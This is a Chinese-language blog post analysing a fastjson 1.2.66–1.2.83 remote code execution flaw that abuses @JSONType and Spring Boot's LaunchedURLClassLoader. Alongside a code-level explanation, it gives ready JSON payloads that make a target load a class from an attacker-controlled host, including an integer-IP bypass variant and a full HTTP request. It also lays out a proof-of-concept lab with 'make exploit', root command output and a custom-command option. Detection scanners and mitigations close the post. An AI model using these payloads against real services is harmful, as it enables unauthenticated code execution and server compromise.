Fastjson漏洞分析附POC

导语:2026年7月,知名开源JSON处理库fastjson被安全研究人员披露新的远程代码执行漏洞。攻击者利用@JSONType注解和Spring Boot的LaunchedURLClassLoader特性,可以绕过autoType安全限制,在无需认证的情况下实现RCE。影响版本覆盖1.2.66至1.2.83。


一、漏洞概述

漏洞编号:公开于2026年7月

发现者:Kirill Firsov(@k_firsov,FearsOff)

受影响版本:fastjson 1.2.66 – 1.2.83

利用条件

  • fastjson 1.2.66–83(probe路径存在且未更改)
  • 使用Spring Boot fat-jar的LaunchedURLClassLoader(能解析jar:http://资源名称)
  • JDK 8环境(JDK 9+会降级为SSRF)
  • 应用可访问攻击者控制的HTTP服务器

关键特点

  • 无需autoType开启——漏洞利用不依赖autoType
  • 绑定DTO不是缓解措施——即使使用JSON.parseObject(body, Dto.class)绑定也会被攻击
  • 无gadget依赖——无需寻找额外的反序列化gadget

二、漏洞原理

2.1 核心问题:@JSONType与checkAutoType

fastjson的ParserConfig.checkAutoType()方法在处理每个@type值时会被调用。问题出在1.2.66-1.2.83版本中的这段逻辑:

String resource = typeName.replace('.', '/') + ".class"; // (1) 攻击者可控
if (defaultClassLoader != null) {
    is = defaultClassLoader.getResourceAsStream(resource); // (2) SSRF sink
}
// ...
if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); // (4) defineClass
}

攻击者构造的@type值:jar:http://attacker:8000/probe!.POC

经过处理后:

  • .replace('.', '/') 将点号转换为斜杠
  • 最终URL变成:jar:http://attacker:8000/probe!/POC.class
Fastjson漏洞原理图

2.2 利用链

  1. SSRF探测:当defaultClassLoader是Spring Boot的LaunchedURLClassLoader时,它能解析jar:http://协议
  2. 远程类加载:攻击者架设恶意HTTP服务器,提供包含@JSONType注解的JAR文件
  3. 代码执行:类被defineClass后,静态初始化块<clinit>立即执行
  4. 类型绑定绕过:即使使用parseObject(body, Dto.class),RCE也在类型绑定前的probe阶段触发

2.3 为什么”绑定DTO不是缓解措施”?

关键在于if (jsonType) return clazz这个短路逻辑:

if (clazz != null) {
    if (jsonType) {
        if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); }
        return clazz; // 跳过deny-list、ClassLoader硬块、assignable检查
    }
}

攻击类的在probe阶段就执行了,早于fastjson尝试将其cast到目标Dto之前。所以即使配置了类型绑定,RCE也已经发生了。


三、Payload构造

3.1 基础Payload

{"@type":"jar:http://ATTACKER_IP:8000/probe!.POC","x":1}

3.2 整数IP格式(绕过点号限制)

{"@type":"jar:http://..2130706433:18080.probe!.POC","x":1}

其中2130706433127.0.0.1的整数表示。

3.3 攻击者视角的完整利用流程

# 1. 启动恶意HTTP服务器(提供恶意JAR)
# 2. 发送Payload
POST /api/parse HTTP/1.1
Host: target.com
Content-Type: application/json

{"@type":"jar:http://attacker.com:8000/probe!.POC","x":1}

# 3. 目标服务器会请求
#    http://attacker.com:8000/probe!/POC.class
# 4. 攻击者返回包含恶意类定义和@JSONType注解的JAR
# 5. 目标执行静态初始化块中的代码

四、POC下载地址 👈

POC实验室(Docker一键搭建)

👉 https://github.com/dinosn/fastjson-jsontype-rce-lab

Fastjson POC下载页面

4.1 快速搭建测试环境

git clone https://github.com/dinosn/fastjson-jsontype-rce-lab.git
cd fastjson-jsontype-rce-lab
make up        # 构建并启动attacker和target(JDK 8, fastjson 1.2.83)
make exploit   # 发送单一Payload,验证代码执行
make down      # 清理环境

4.2 预期输出

[*] payload : {"@type":"jar:http://..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE已触发,之后才报ClassCastException
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

注意:ClassCastException的出现是关键——它证明绑定类型不是缓解措施,RCE在cast之前就已发生。

4.3 自定义命令执行

PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker

五、检测与防御

5.1 检测工具

项目提供了三个Python 3检测工具(无需pip安装):

静态扫描(检查JAR/WAR/EAR是否包含漏洞组合)

python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

主动探测(SSRF only,不触发RCE)

python3 scanner/fjscan_probe.py --collaborator your.oastify.com --auto --targets targets.txt

Payload生成(Burp Repeater使用)

python3 scanner/fjpayload.py <collaborator-ip> --targets-file targets.txt

5.2 缓解措施

措施说明
-Dfastjson.parser.safeMode=true完全禁用@type处理
限制应用出站HTTP防止SSRF到攻击者服务器
升级到JDK 9+RCE降级为SSRF(仍危险但无法RCE)
迁移到fastjson2彻底脱离1.x系列
WAF规则检测@type中的jar:!..、整数IP

六、漏洞利用条件汇总

条件说明
fastjson 1.2.66 – 1.2.83probe路径存在且未更改
ClassLoader解析jar:http://Spring Boot fat-jar的LaunchedURLClassLoader满足条件
JDK 8JDK 9+在defineClass处拒绝构造的名称,仅SSRF
HTTP出站访问需要访问攻击者控制的服务器
autoType开关无关——无论是否开启都能利用

七、总结

这个漏洞的危险性在于:

  1. 攻击门槛低——无需找到特定的gadget链,利用明确且稳定
  2. 防御易被绕过——autoType关闭和类型绑定都不能防御
  3. Spring Boot应用广泛——几乎所有Spring Boot应用都使用LaunchedURLClassLoader
  4. RCE无感知——即使JDK 9+也会产生SSRF,可用于内网探测

建议所有使用fastjson 1.2.66-1.2.83版本的应用尽快升级或切换到fastjson2。

出处:本文参考GitHub项目 dinosn/fastjson-jsontype-rce-lab,漏洞原披露者 @k_firsov

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容